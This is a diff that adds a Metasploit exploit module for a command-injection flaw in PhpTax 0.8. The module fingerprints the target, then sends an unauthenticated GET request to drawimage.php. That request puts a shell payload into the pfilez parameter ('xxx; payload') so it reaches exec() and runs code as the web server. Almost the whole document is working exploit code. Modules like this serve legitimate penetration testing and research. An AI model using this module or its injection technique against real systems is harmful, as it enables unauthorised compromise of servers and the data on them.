|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "PhpTax pfilez Parameter Exec Remote Code Injection", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a vulnerability found in PhpTax, an income tax report |
| 20 | + generator. When generating a PDF, the icondrawpng() function in drawimage.php |
| 21 | + does not properly handle the pfilez parameter, which will be used in a exec() |
| 22 | + statement, and then results in arbitrary remote code execution under the context |
| 23 | + of the web server. Please note: authentication is not required to exploit this |
| 24 | + vulnerability. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Jean Pascal Pereira <pereira[at]secbiz.de>', |
| 30 | + 'sinn3r' #Metasploit |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + ['EDB', '21665'] |
| 35 | + ], |
| 36 | + 'Payload' => |
| 37 | + { |
| 38 | + 'Compat' => |
| 39 | + { |
| 40 | + 'ConnectionType' => 'find', |
| 41 | + 'PayloadType' => 'cmd', |
| 42 | + 'RequiredCmd' => 'generic perl ruby bash telnet python' |
| 43 | + } |
| 44 | + }, |
| 45 | + 'Platform' => ['unix', 'linux'], |
| 46 | + 'Targets' => |
| 47 | + [ |
| 48 | + ['PhpTax 0.8', {}] |
| 49 | + ], |
| 50 | + 'Arch' => ARCH_CMD, |
| 51 | + 'Privileged' => false, |
| 52 | + 'DisclosureDate' => "Oct 8 2012", |
| 53 | + 'DefaultTarget' => 0)) |
| 54 | + |
| 55 | + register_options( |
| 56 | + [ |
| 57 | + OptString.new('TARGETURI', [true, 'The path to the web application', '/phptax/']) |
| 58 | + ], self.class) |
| 59 | + end |
| 60 | + |
| 61 | + |
| 62 | + def check |
| 63 | + target_uri.path << '/' if target_uri.path[-1,1] != '/' |
| 64 | + res = send_request_raw({'uri'=>target_uri.path}) |
| 65 | + if res and res.body =~ /PHPTAX by William L\. Berggren/ |
| 66 | + return Exploit::CheckCode::Detected |
| 67 | + else |
| 68 | + return Exploit::CheckCode::Unknown |
| 69 | + end |
| 70 | + end |
| 71 | + |
| 72 | + |
| 73 | + def exploit |
| 74 | + target_uri.path << '/' if target_uri.path[-1,1] != '/' |
| 75 | + |
| 76 | + print_status("#{rhost}#{rport} - Sending request...") |
| 77 | + res = send_request_cgi({ |
| 78 | + 'method' => 'GET', |
| 79 | + 'uri' => "#{target_uri.path}drawimage.php", |
| 80 | + 'vars_get' => { |
| 81 | + 'pdf' => 'make', |
| 82 | + 'pfilez' => "xxx; #{payload.encoded}" |
| 83 | + } |
| 84 | + }) |
| 85 | + |
| 86 | + handler |
| 87 | + end |
| 88 | +end |
0 commit comments